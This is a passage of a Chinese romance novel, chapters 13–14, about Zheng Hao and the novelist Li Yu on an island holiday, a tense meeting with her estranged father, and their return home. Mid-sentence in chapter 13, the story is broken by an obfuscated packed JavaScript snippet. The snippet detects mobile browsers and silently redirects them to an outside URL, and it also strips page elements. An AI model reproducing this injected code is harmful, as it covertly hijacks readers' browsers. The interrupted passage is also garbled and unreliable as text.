相比之下角落里的三个人安静地像是拼桌的陌生人。 廖青阳生性不爱说话,郑好不习惯对着陌生人侃侃而谈,李遇纯纯就是懒得说。 三个人埋头苦吃,赶在对面注意到她们之前先离席了。 郑好站在檐下看凤凰花,一簇簇红云藏在树顶的绿叶之间,朦胧而可爱。 她举起相机留存了一张影相:“濠江的十字街也有凤凰花,每年六七月都像一簇烧向天边的火焰,我最喜欢在那条路上散步。” 李遇的重点似乎偏移了:“在濠江干什么?” 郑好:“我没说过吗?我是在濠江长大的。” 李遇说没有。 他们俩在一起时或是不说话,或是说很多废话,对于各自的过去并不刻意提及。 郑好哦了一声,告诉他:“我在濠江出生,八岁才回到吴城。” 李遇想到,郑川穹正是在濠江起家的。 他问:“濠江怎么样?” 郑好想了很久,事实上关于濠江的记忆占比最多的只有那座空荡荡的大别墅。 最后终于从久远的记忆中翻出些特殊的印记。 她说:“花园里常常光顾一种戴胜鸟,头顶有长长的冠羽,顶端带着黑斑,像梳着时髦的大背头。受惊的时候羽冠会打开,又像潦草的流浪汉。我那时候就想,原来发型是这么重要的。” 李遇一下子笑了,伸手摸摸她恢复白净的脸颊。原来爱美是从小就有的。 他又想吻她了,上瘾一样。 于是他问:“亲一下?” 角落里传来一道幽幽的回声:“我反对。” “……”李遇转头,看见长板凳上端坐的男人,嫌弃得很明显,“你在这干嘛?” 廖青阳望着天:“我也想知道。” 郑好趁机溜了,一瘸一拐地跑到树下和大黄玩耍。 中午的两条大鱼肉质鲜美,几个年轻人想自己捞鱼去,舅舅就带上他们几个开渔船出海了。 宝枝注意到郑好中午一直在看鱼,却一口没吃,问她是不是海鲜过敏。 七星抢答:“好好受伤了,要忌口。” 倒也不全是这个原因,郑好迟疑了下,说:“我觉得这个鱼,我好像在水族馆里见到了……” 宝枝噗嗤一笑:“海边是这样的,捞到什么就吃什么。” 她带郑好去海鲜小市场逛了一圈,离开的时候郑好的表情有些魔幻,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146124|164480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在很难接受水族馆里的观赏鱼躺在红红绿绿的水桶里等着被人挑走剁成鱼汤…… 她小声跟李遇说:“幸好他们没有丧心病狂到吃水母。不然我会疯掉。” 李遇静了静,提醒她:“你知道海蜇其实也是一种水母吗?” “…………我讨厌你。” 更多的玩乐项目是没有了。 午后,他们坐在敞开的屋子里喝茶,竹椅放倒,侧躺在上面吹不怎么制冷的空调,看天空白云飘绕,大黄蹲在脚边睡觉。 茶喝多了就要找厕所。 郑好洗手出来,又在凤凰花下站了一会,转身时看见宝枝跟七星的妈妈幼宜搬了两张石凳石桌在门口,桌上放着很多磨刻的工具。 看见她,宝枝招招手:“来玩。” 郑好过去找了一把椅子坐边上,发现是几只半成品的簪子,簪子上已经画好几何纹样,幼宜拿着刻刀沿线稿雕琢。 宝枝说:“这是我们黎族的骨簪,也就是用骨头做成簪子。” 她指着屋檐下另一侧的竹兜,上面横竖躺了七八块粗壮的骨头:“那些都是熬煮过正在晾晒的牛骨。” 郑好问:“要晒多久?” “至少六个月。” 郑好咋舌:“怀个娃都该出生了。” 宝枝扑哧一笑:“是啊,幼宜怀着七星的时候正好做出她的第一支骨簪。” 被提及名字的幼宜本人专心致志地凿刻图纹,其他好像都与之无关。 宝枝指着她的耳朵,用口型比划了下:“听不见。” 郑好惊讶,幼宜却忽然抬起头:“嫂子,我只是聋了,眼睛没瞎。” 宝枝一点也不尴尬,对郑好解释,“她做完骨簪才知道男朋友早已经结婚了。” 她脸上带着温和的笑:“外面有一些离谱的传言。你是七星的朋友,我希望你不要误会她。” 郑好:“不会。” 宝枝微微一笑,继续教她簪子的上色和留色。 她消失了太久,李遇找出来,没一会儿,廖青阳也加入进来。 宝枝就说:“在黎族,骨簪是男人亲手给心上人打造的,耗时长久还考验耐心。一个多月后如果能把骨簪做好,心中的感情也明晰了。” 她问:“你们要不要试试?” 廖青阳摇头,他还没有喜欢的人。 李遇不认为自己具有这样的耐心和巧手,也拒绝了。 太阳西沉时,舅舅带着庄肃安几个人满载而归,郑好又看见了不同寻常的鱼类,默默转开脸。 她还注意到其中一个女学员跟庄肃安的男学员牵上手了。 吃过晚饭,舅舅在院子里支了一块幕布放电影。 出于某种恶趣味,一个女生挑了一部经典爱情灾难片《十二夜》,问两个刚刚坠入爱河的愣头青:“听说看完会对爱情祛魅,敢不敢看?” 男生说:“有什么不敢。” 好,那就看了。 电影不长,只有九十分钟。 字幕滚动时,大家神色各异,仿佛都有所感触。 点播的女生采访新晋情侣:“谈谈观后感吧?” 男生不再那么肆无忌惮,眯起眼:“我觉得你在搞事情。” 女生坦然很多,笑着说:“结果都一样,享受过程就好。” 男生不满地喂了一声。 采访的女生哈哈大笑,又转过来看向其他人:“你们有什么感想,交流交流?” 庄肃安不知想到什么,难得恹恹不说话。 反而是廖青阳凑了上来,认真发表感言:“张柏芝,我的女神。” 众人都笑了。 女生想起在场还有一对情侣,扭头找人。忽然视线扫过最后一排,看见这两人把长椅放倒,头挨着头睡着了。 “……” 13、第13章 开车回酒店的路上,郑好用手机看完电影的结局,一段感情狼狈收场,女主拼凑起自己,义无反顾投入下一个十二夜。 她问李遇:“我们……” 刚开了个头,李遇瞥她:“一个月纪念日都没过,少问这些有的没的。” 喔,不过…… “你还算纪念日啊?” 李遇:“不然呢?总得有一个恋爱脑吧。” 车子停入地下车库,郑好低头解安全带,李遇忽然捏住她的下巴凑过来亲了一下。 气息拂过脸颊,很快又离开。 他什么都没说,神情愉悦下了车。 两人手牵手在花园逛了一圈才回去,却在经过大堂的时候意外被人叫住了。李遇一眼认出来是刚过完三十五周年纪念的某位郑先生。 男人穿得倒是休闲,看见郑好,他起身从沙发上站起来,露出一张富有阅历的尚算英俊的脸。 他的年纪和长相摆在这里,郑好没说什么,跟着他走了。 八岁离开濠江之后,郑好见他的次数一只手就能数得过来,直到她大学毕业后,突然被这个父亲找上门,声称想要弥补失去的父女时光。 郑好嗤之以鼻,计划用最恶毒的话将他骂回濠江去,然后男人拿出了一张银行卡。 郑好可耻地向金钱低头了。 郑好暗暗猜测他得了绝症,在生命最后一段时光希望感受一下儿女绕膝的盛况,于是满世界搜罗着被他抛弃的私生子。 基于这个猜想,她对郑川穹的态度一直还算友善。 坐下后,郑川穹的目光在她脸上打量:“玩得开心吗?” “挺好的。” “我正巧在附近出差,过来看看你。刚刚那个是你男朋友?你们怎么认识的?” 经过之前的碰面,郑好已经发现这个人很喜欢做表面文章,明明早就查清了她的住址和人际关系,却非得装模作样地问候。 可能是有钱人的通病。 “合租室友。”她礼貌敷衍着,然后听见他说,“我不太赞成你们在一起。” 郑好抬起眼,今晚第一次正视他。 他说:“一个特意找女孩子合租的男人,本身心思就不纯正,现在的发展恰恰也说明这一点。他是个作家对吧?收入不稳定,心思也难捉摸,你很容易受到伤害。” 他这会很像苦口婆心劝说自己决意跟黄毛私奔的宝贝女儿,不远千里打个飞的来劝女儿回头是岸。 郑好自己无法入戏,也属实没办法把李遇代入那个黄毛的角色。 她沉默两秒,打断他:“等你死了,我能继承遗产吗?” 郑川穹一愣:“当然,你也是我的女儿,我肯定会……” 郑好点头:“那我就有钱了,我包养他,每个月给两万零花钱,他每天早中晚陪我吃饭就行。” 郑川穹震惊于她的想法:“用钱能买来爱情吗?” 郑好说:“不能吗?你现在不是在用钱买我的亲情?” 他哑口无言了。 之前几次坐在一起,郑好总是用那双酷似她母亲的眼睛安静地看着他,没有指责也没有动容。 短短几个月她变化很多,由沉默寡言变得伶牙俐齿乃至夹枪带棒,郑川穹不知道这算不算好现象。 桌上的牛排冷硬无法入口,两人各自端着热饮,没再说话。 郑好看着对面长了皱纹的男人,恍惚想起来曾经也有过一些温情的时刻,只是太模糊了,现在回想起来就像别人的记忆。 也确实是应该属于别人的温情。 郑好的眉眼垂落下去,曾经梦寐以求的东西已经变得陌生而多余。 世界上所有东西都有保鲜期。 心里有些缺口不必要填补,早就在时间雕刻下模糊得不再棱角分明。她的目光已经停留在新的风景里。 每月例行的会面就在沉默中结束了。 推开椅子准备走时,郑好停顿了两秒,到底没忍住:“你再找找其他情人,也许还有很多失散的私生子等着接受你无处安放的父爱。再见。” 夜已深,今晚天空没有月亮。 海潮的声音隐隐绰绰,听不清楚了。 她在中空花园坐了一会儿,腿上被虫子咬好几个包,心潮起伏渐渐被痛痒取代,悻悻准备回房间去。 谁知道一转头看见李遇戴着耳机坐在光亮处,看见她,站起来。 郑好呆了呆:“你坐这多久了?” 李遇说:“不久,听说楼下花园来了个慷慨的大善人,我下来见见。” 顺着他的目光看见自己腿上红肿的鼓包,郑好默默摸了摸鼻子。 海边的蚊虫不比家里,严重点的留疤不说,治疗过程中也很遭罪。 李遇去前台借了备用的药膏,拎着她的腿涂药,圆圆的一小罐是绿色的膏体,有点像青草膏,抹在腿上清凉得像薄荷。 郑好曲着腿,下巴拄在膝盖上,看他微垂的浓密睫毛。 她动了动脚趾,李遇抬头看她:“嗯?” 郑好眨眨眼:“你知道我的秘密了。” “所以呢?” “拿你的秘密来换。” “强买强卖啊你。” “对,不然我好吃亏。” 李遇漫不经心地把指尖剩余的一点药膏抹在她小腿肚上,忽然沉默。 郑好不由也紧张起来,抓着抱枕坐直了:“是什么大秘密?你悄悄说,我不告诉别……” 声音戛然而止,小腿肚被他揉捏了下。 郑好闭上嘴,面无表情跟他对视。 李遇慢吞吞开口:“我想……” 郑好用枕头捂住了他剩下的话。 *** 郑好简短地补充了她的家事。 她妈妈陆程玉生下她的时候才十九岁,正是奋不顾身为爱献祭的年纪,不知天高地厚自以为爱情高贵永恒胜过世间一切。 郑好还小的时候,郑川穹其实常常来别墅,后来他自己的儿子出生,渐渐就少了。 她们住在一个临湖的大别墅,夜里睡不着,陆程玉就拿着抹布蹲在地上擦地,一层一层地擦,擦完天就亮了。 佣人没有用武之地,被辞退了。大别墅更加空旷。 后来陆程玉一个人带她回到吴城,然后她就死了。 外公抚养郑好直到十八岁,不再见她了。 李遇没说什么,摸了摸她的头。 郑好已经不在意了,只是说起她对于郑川穹时日无多的猜测:“否则二十年来对我不闻不问的人,为什么一夜之间冒出来?” 李遇想了想,思维随她发散出去,他的想法就阴暗了许多:“有可能他儿子身患重病,要亲属配型捐肾捐髓?你这血浓于水的亲女儿恰好派上了用场。” 郑好立马说:“我不捐。” 李遇摸着下巴,又提供另一种可能:“也没准是他公司碰到什么危机,需要家族联合来换取钱权交易?该不会你爸已经安排了十七八个联姻对象等着你回去联姻吧?” 郑好恍然:“怪不得他劝我和你分手。” 李遇调侃:”没想到有生之年还能傍上这么年轻的富婆。” “不过呢。”郑好又想,“也许他的私生子太多了,他又不是什么全市首富,遗产层层分配,我该不会只拿到一个谢谢惠顾的红包吧?” 李遇随口答:“说不准。” 他比较好奇郑川穹怎么劝她分手的。郑好挑了几句转述,又说:“他也嫌弃我的,无业游民、浪费社会资源,没能继承他的商业头脑。” 李遇于是说:“我们像不像夹缝里的大蟑螂,某一天被城管找上门,红袖章一亮,说:‘大蟑螂女士,你跟你的伴侣严重影响了本市的市容市貌,本着人道主义精神,请你们自行钻到捕螂板上,我们将对你进行废物改造。’” 说完,两人对视着,噗嗤一笑。 14、第14章 郑好的假期被打扰到了。 第三次在沙滩边偶遇郑川穹,郑好咬着吸管,有点不爽:“我现在满脑子都是他把我压进手术室摘腰子的画面。” 李遇摘下墨镜给她戴上:“对法治社会有点信心。” 天边黑压压地积卷着大片乌云,原本清澈的海面灰蒙蒙地,和远山连成一片。 郑好从椅子上跳下来:“肉猪打算逃跑了。” 李遇看她一眼:“别跑太远。” 郑好于是去渔村找七星玩,租了二楼靠田野的房间,晚上开窗看见满天星辰,茂密的田野里蛙声此起彼伏,是天然的白噪音。 她在电话里跟李遇说:“这里很好,你也该来。” 隔着一片海,李遇的声音听起来没什么精神:“过两天。” 郑好问他:“写得怎么样?” 李遇说:“键盘坏了。” 郑好:“我的行李箱里有个外设,不知道适不适合你。” 那头已经传来啪嗒啪嗒敲打的声音,附带一句点评:“嗯,有点肉。” “……” 无言片刻,李遇在电话那头喊她的名字:“郑好。” “嗯?” “想你了。”他语气有些烦恼,说,“你破坏了我原本独立的人格,我要向你索赔。” 郑好伸着手在窗外抓风,随口问:“赔什么?” “你自己想。“ …… 七星在门外喊她,郑好挂断电话,从楼上探出头,小孩穿着嫩黄色的小裙子朝她招手:“快来!我们去抓海星!” 原来民宿进了新客,是很有情致的一家三口,小男生七八岁,唇红齿白。七星不再往外跑了,充当小向导带他们去本地人的去处。 在渔船停泊的不远处,清澈的海浪卷来各式各样的海产,甚至有巨大的透明水母。 男孩蹲下来想摸,七星提醒道:“不能用手碰它,会被蛰。” 男孩飞快地缩回手,七星咯咯咯笑,笑得人生气了,又踩着拖鞋啪嗒啪嗒追上去求和。 郑好拎着塑料桶不远不近跟在他们后面,偶尔弯腰捡一个贝壳,心想可以带回去做一幅立体画。 在沙滩上呆了一个小时,收获颇丰。 男孩发现一只搁浅的海星,趴在松软潮湿的沙粒上,四脚张开,慢吞吞地往海潮方向滑行。 七星用棍子给它翻了个面,露出缓慢蠕动的管足:“你看,海星有这么多脚。我带回去做成标本给你吧?” 郑好拍下来,分享给李遇:“派大星想回海底吃午饭,被两个坏孩子拦截了。” 男孩问:“怎么做标本?” 七星教他:“用开水烫两次就熟了,然后拿牙签把内脏挑出来,晒干……” 男孩的眉头皱起来,她话锋一转,立马说:“其实有点残忍,我买木海星挂件送给你,那个也很好看。” 男孩笑了:“谢谢。” 七星有了同龄伙伴,不再粘着郑好。 郑好于是呆在民宿里和宝枝学一些新东西,骨簪学了一点,自己画了个别致的图案,委托幼宜做好后寄回吴城给她。 后来宝枝不做骨簪了,又教她玩织锦,郑好恍惚以为自己是嫁到海岛来的小媳妇。 她又无所事事地在村子里晃悠,从村头两口子吵架一直晃到村尾大家庭围坐在门口煮火锅。 心中有一丝寂寥,海边也索然无味起来。她想,她原本自娱自乐的精神也被李遇破坏了,她也该索赔。 就这样消磨了两天,庄肃安不知从哪里得知她住在渔村的消息,跑来邀请她一起出海玩。 郑好想到李遇要她多交朋友,答应了。 依旧是冲浪时的几个大学生,彼此都是熟人,郑好很快融入他们。 一个女生问她:“你的男朋友呢?” “他有工作要处理。” “啊,好惨,出来玩还要工作。” “是啊。” 女生挽着她:“那我们可以凑一对,离那两个腻歪的人远一点。” 另一个落单的男生左右看看,指指自己:“我嘞?” 庄肃安说:“你还有我。” “……” 他们一起玩了海上拖伞和摩托艇,肾上腺素作用下,郑好心跳很快,头一回理解极限爱好运动者追求刺激的心态。 她从未这样清晰地感受到“活着”。 海风卷着潮湿水汽吹散长发,女生坐在她前面,大声喊:“朱致源!我去你妈的!老子不稀罕你!” 她兴奋地转头跟郑好说:“你也喊!可爽了!” “……”郑好憋了一会儿,说,“我没有想骂的人。” “哈哈哈哈!那你给你男朋友告个白!” 郑好拢着手在嘴边,喊了声李遇,剩下的话就说不出口了。 女生帮她喊:“她喜欢你!” 海风猎猎,刮得人脸颊泛红。 最后一站是潜水。 郑好咬着软管被庄肃安带下去,海底清澈透亮,她看见水下斑斓舒展的海草,一只海龟摆动四肢在她身边游绕一圈。 还遇到几波斑马鱼群,鲜亮颜色、美丽花纹,灵巧快速地从她臂弯中穿过。 海水有力地托举着她,郑好错觉自己也成为海的一部分。 过一会儿,庄肃安指指右边,带她往旁边游去。 她看见一团团茂密的海葵在水中舒展,一只小丑鱼忽然从里面钻出来,然后有第二只、第三只。 它们嘴巴张阖,灵活地游窜在海葵丛里捉迷藏。 郑好看着它们,心里轻轻一动。 回到岸上,身体里仿佛还留着海水的魔法,轻盈而舒展。 其他人约好晚上开车去夜市玩,郑好拒绝了。 她有点想李遇了。 *** 第二天是个雨天,清晨还是淅淅沥沥的小雨,在泳池晕开一圈圈小小的水花。吃过饭雨势骤然变大,高高的棕榈叶在风雨中拍打,像美人散乱了长发。 李遇捧着电脑坐在地上敲键盘,郑好也呆在他房间里,抱着平板画了一会儿,思绪被雨声打断,索性丢开画板趴在窗边的沙发上听雨打蕉叶的声音。 空气中是潮湿的雨汽。 蓝牙音箱播放着靡靡的音乐,慵懒的男声迷离地唱: jellyfishhappydreaming 水母水母梦中游 eventhewaterishot 不管海水多滚烫 lingering,deepdownthesea 无忧无虑晃呀晃 please,dontwakemeup 请留我在梦乡 郑好感到自己也变成一只小小的水母,在深海中随着水流漫无目的地飘荡、飘荡。 昏昏欲睡时,李遇凑过来吻她。 温柔不过片刻,他带着不同寻常的迫人气势,来势汹汹发起进攻。 郑好睁开眼,看到他幽深沉默的眼,一顿,意识清明起来。右手腕被紧紧攥住,凉意从露台渗进来,消弭在他热烈的唇舌中。 渐渐地,郑好有些招架不住,左手拂过他蓬松的短发,扯他耳垂。 李遇喘着气,退开来,唇瓣湿润透着艳色:“嗯?” 气氛剑拔弩张地危险,郑好一时说不出话,缓了缓,问他:“写完了?” “差不多。”李遇又低下头,轻轻磨蹭她的唇,带着刻意的不加掩饰的勾引:“想看么?” 郑好超级想,但两人约定在先…… 李遇低头凝着她,眼底有笑:“贿赂我啊。” “……”郑好别开眼,“那我不看了。” “不行。” 李遇将她压在沙发上,右手从腰一点点往上蹭,“要看。” 他的手冰冷,唇舌却火热,印在她颈侧,低声含糊地说:“我求你看。” “……” 风雨刮卷着窗户,狂乱的棕榈叶遮天蔽日一般将光线阻隔住。 郑好又变成了海中的水母,蓬乱的触须被紧紧卷绕住不得动弹,晦暗幽深的海底,李遇的眼睛是她唯一的照明,野蛮地引着她再次卷入急速颠簸的涡环。 她徒然扑腾了一阵,闭上眼,什么都不再想了。 …… 【END】 原来一天可以这样漫长没有尽头。 时至黄昏,窗外的雨依旧没有停歇。 郑好睡去醒来,天边依旧是黑的。她懵然去摸手机,碰到李遇搁在被子上的手臂。 “六点了。”他醒着,声音懒散带着倦意,“饿么?” 郑好点点头。 床塌窸窣几下,身边一轻,李遇出去找吃的。 郑好拥着被子慢吞吞坐起来,透过昏沉沉的光线发现居然是在她的房间。 “……” 冰箱里放着两盒即食意面,李遇用微波炉热过,连同餐盘端进来给她。 郑好已经穿好衣服,坐在床上眼睛有点不知道往哪儿看,所幸还记得前情,把手一伸:“给我看。” 李遇好气又好笑:“你真是不忘初心啊……” 最终郑好以不光彩的手段行.贿,成了第一个看到完结章的读者,看完心中震撼不已。 压抑吊诡的笔法一以贯之,结局戛然而止让人后背发凉,好像睁开眼站在人性的荒村中,目之所及都是坟茔。 她无法将这些鬼气森森的文字和面前这人联系在一起。 她扔下笔记本,跪坐起来啪地捧住他的脸,左看看右看看:“你是怎么写出来的?” “用你的键盘。”李遇说:“有点肉,敲起来不痛快。” “……” 郑好把笔记本捡起来又看了一遍,最后说:“我要你的实体书签名!” 李遇坐在床沿拿叉子卷意面,闻言瞥她:“人都是你的了,要什么签名?” “……” 海边的天气变幻莫测,旅行的最后几天全是暴雨,航班取消,他们被迫滞留在岛上。 这种天气他们没有处去,只能困在酒店里看雨,看着看着就被李遇拐到别处去了。 郑好很后悔自己意志不坚,掉入李遇的陷阱。 李遇从后面,抓着她的手摁在磨砂玻璃上:“我学得不快吗?” 水汽蒸腾的狭小空间映出一道模糊交叠的影。 他有点放纵,郑好低头在他手臂上咬了一口。李遇于是又温柔一些,吻她耳尖:“最后一次,我保证。” 郑好觉得他的体温烙进了未来的每一个暴雨天气。 *** 离开的这天,小七星来酒店送别,给她一个玻璃烧制的水母挂件,底下缀着一只剔透斑斓的小蝴蝶。 她说:“我画的图,我妈妈亲手做的。” 郑好郑重地接过来收在包里:“谢谢你,我很喜欢。” 说着话,七星恋恋不舍地抱着她晃,最后小小声问她:“你和我妈妈说什么了?她最近对我好得不像话。” 郑好说:“笨,因为她爱你呀。” 七星咧开嘴笑了。 飞机穿过厚厚的云层,俯瞰下的海岛渐渐缩成一个黑点,看不见了。 落地再次见到熟悉的城市街景,恍若隔世。 到家时恰好收到小七星的短信:“好好要好好吃饭,好好生活!” 房门打开,路西法一猫当先喵喵叫着扑到她脚边,加百列跳上门边柜台,仰着鼻子在她身上嗅来嗅去。 阳光铺满木地板,细碎地闪着光。 她抱起加百列,蹲下来轻轻摸着路西法毛茸茸的脑袋,感到难以言喻的温情,全世界都温柔地铺陈在她面前。 她转头,认真对李遇说:“我们要好好吃饭,好好生活。” 李遇笑:“好啊。” 说干就干,郑好丢下行李,回房列了一张自律时间表。 李遇抄着手站在旁边指指点点:“早上九点起床能叫自律?勤奋的鸟已经吃饱了。” 郑好想了想,觉得有道理,把九点划掉,改为七点半,绕小区晨跑两圈,回来吃早餐,活力满满地开启一天的工作。 接着又在一系列速食产品旁边画了大大的叉,转头征询似的看李遇。 李遇点头赞同:“垃圾食品以后都不要吃了。” 两人一番沟通,涂涂改改,把时间表贴在客厅墙上。郑好叉着腰,感到自律进取的未来已经在向她招手,颇感满意,抱起加百列回房收拾行李了。 “明早见!” 李遇被关在门外,摸了下脖子,也驱赶着自己的好大儿上楼。 …… 第二天。 中午十二点半。 两只猫饿得在外面挠门。 郑好蓬头垢面拉开门板,碰上正从楼梯上下来的顶着鸡窝头的李遇。 微热的风刮开窗帘,露出门后散落一地的行李。 睡眼惺忪的两双眼睛沉默对视片刻,李遇先开口:“煮个泡面?” 郑好:“好的。” 事实证明旅行并不能使人脱胎换骨,两个人并肩缩在沙发上嘬面条,绝口不提自律上进了。 郑好感慨:“旅行半月,归来仍是死宅。” 李遇鼓掌:“好觉悟。” 回到平凡世界,生活并没有什么变化,嗯……也有那么些不同。 这天快递上门,李遇出去签收,回来时抱着两个大大的纸箱。 郑好听见拆箱子的声音,从楼上探头:“你买了什么?” 李遇冲她招手:“来。” 郑好下来,看见他从纸箱里抱出一个白色的u型亚克力容器,跑过去:“水母!” “嗯。” 两个人坐在地板上拆箱,一箱是缸体,另一箱是两大包调配好的海水,以及一小包丰年虾卵。 水母装在透明的盛满水的袋子里,长长的触须团在一起,看起来有些局促。 郑好抱着袋子,想起水母馆里的那个吻,朝李遇看了一眼。 他在研究安装说明,抽空给她介绍:“大西洋海刺。” 她慢吞吞说:“我知道啊。” 李遇拉长声调哦了一声,笑。 前期准备工作并不少,等水质过滤后还要小心地去除水里气泡,一切就绪已经是半个多小时后了。 郑好用网兜小心翼翼地把水母捞起来,放进缸里。 水母的游动能力差劲,缸体配备造流装置,它一开始恹恹地不怎么动弹,适应缸内环境后缓缓恢复了活力。 郑好放心了,趴在桌上看它游动自如,白色的蓬松触须像华丽的婚纱飞扬,好治愈。 她问:“好养活吗?我小时候从水族馆领回来的小水母没几天就死了。”那时候甚至不知道还要用这样专业的造流过滤缸。 李遇回:“卖家说挺好养活的。” 郑好心一放,听到他下半句,“勤换水母就行。” 郑好:“……” 无论如何,郑好决定给家里的第五个成员取名字。 李遇张口就来:“拉斐尔。” 郑好无语:“你这儿是天使收容所吗?” 李遇理直气壮:“你才知道?” 拉斐尔是治愈天使,郑好接受了这个草率却莫名契合的名字,同时默默在心里叫它拉斐尔一代目…… 漫画事业难以开展,迫于生计,郑好又将重心移回商业插稿。 今晚是满月,他们把小书桌挪到阳台,点了盏昏黄的小灯,坐在阳台边各自工作。 到底是舒适区,郑好一会儿撸猫,一会儿看拉斐尔一代目翻跟头,很快勾完一张线稿。 停下来摸鱼的间隙,郑好瞥见一旁笔记本屏幕上新开的文档,粉色的码字背景,好奇:“你在写什么?” 李遇有一下没一下地敲着键盘,随口说:“新书大纲。” 郑好有些惊讶他开坑的速度了:“你又有灵感了?” 李遇奇怪地看她一眼:“不是说过下一本写小甜文么?” “给我?” “那不然?我写给那只胖猫?” 郑好捂住路西法的耳朵。 凭借对他过往风格的把握,郑好猜测:“是不是开篇女主离奇死亡,男主抽丝剥茧追寻死亡真相……” 李遇面无表情打断她:“你对小甜文有什么误解?” 郑好对甜文是没什么误解,她只是很怕由缰老师一世英名就此毁于一旦。 “要不你换一个笔名写吧?” 李遇默默看着她,冷不丁说:“我跟我的笔名一起掉进水里你先救谁?” “……” 李遇:“这都答不上来,心冷了。” 他说:“你的爱情不纯粹,你就是馋我的书。” 郑好听不下去了,把笔记本推给他:“你写你写,你写进po榜头条我都不管你。” 李遇若有所思:“头条有点困难,我的实操经验没那么丰富。要达成这个目标需要你献一份力了。” “……” 李遇闷声笑,不逗她了:“独家定制文,我给不相关的人看干什么?” 郑好耳朵一动,还是没说话。 夏夜晚风轻柔地拂过发丝。 李遇后仰靠在栏杆上,偏头看着楼下昏黄路灯,忽然出声:“看那只大金毛。” 郑好跟着转过头,看见一个人牵着一只大狗在小区里散步,走走停停,大狗撒欢跑了起来,主人边追边骂。 李遇说:“我们以后再养一只米凯尔吧?” 以后。 郑好咀嚼着这两个字,看见大狗转了两圈,转身扑进主人怀里。 遇到李遇之前,她对未来没有规划,有一天过一天,太阳东升西落,每天都没什么不同。但是现在,她偶尔也会想到以后。 好像一块半圆的拼片在路上走啊走,忽然遇到另一块迥异的拼片,两个片子你看看我,我看看你,凑在一块儿竟严丝合缝地契合,拼成一个圆理所当然地滚向远方。 李遇和她设想中的契合灵魂全然不是一个样子。 从前的穷书生、后来的大才子,追求女生的路数多半都是卖弄才学,李遇从没有过。 大约五个多月前,郑好和李遇频繁在家里偶遇。 一开始是因为物业施行新政,外卖不得上楼。两人各自抱紧外套蹲在大门两边,如同一对门神相顾无言。 后来也许是被摸清定时出门溜自己的作息,郑好出门时十之八九能碰上李遇扔垃圾。从短暂同路到简单寒暄,李遇顺理成章地挤进她的小世界结界。 郑好喜欢阅读,读得过于空泛而有些多愁善感。房里收藏了半个墙面的书籍,客厅沙发旁就扔着她最常看的书,李遇大可以投其所好、大谈虚无主义荒诞文学,但他没有。 他喜欢聊无关紧要的琐事,比如天气寒冷,楼上忘记关阳台水龙头把水管冻裂了。又比如,他新发现一款味道独特的泡面,有空请她一起品尝。 郑好觉得自己仿佛一朵空中飘着的云,被李遇拉到地上来,一头砸进五彩缤纷的生活中。 陈奕迅在歌里唱:“情人游天地,日月换行李。与你说些无聊事,挽手几千里。” 郑好仰头,看见天边皎皎明月。 “好啊。”她说。